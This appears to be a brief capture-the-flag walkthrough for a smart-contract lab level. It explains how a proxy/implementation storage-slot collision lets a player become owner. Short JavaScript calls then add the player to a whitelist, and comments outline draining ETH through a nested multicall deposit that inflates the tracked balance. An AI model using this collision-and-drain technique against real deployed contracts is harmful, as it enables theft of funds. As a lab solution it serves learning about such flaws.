00Overview
The proxy's slot 0 (`pendingAdmin`) maps to the wallet's slot 0 (`owner`). Setting `pendingAdmin` in the proxy overwrites `owner` in the implementation context. This enables adding the attacker to the whitelist and draining ETH via a nested `multicall -> deposit` trick that inflates the tracked balance.
01Overwrite owner via proxy storage collision
javascript
await proxy.proposeNewAdmin(player)
// proxy slot 0 (pendingAdmin) = wallet slot 0 (owner) = player02Whitelist attacker and drain
javascript
await contract.addToWhitelist(player)
// Craft multicall to deposit twice in one tx to inflate balance
// Then execute()03Level Completed
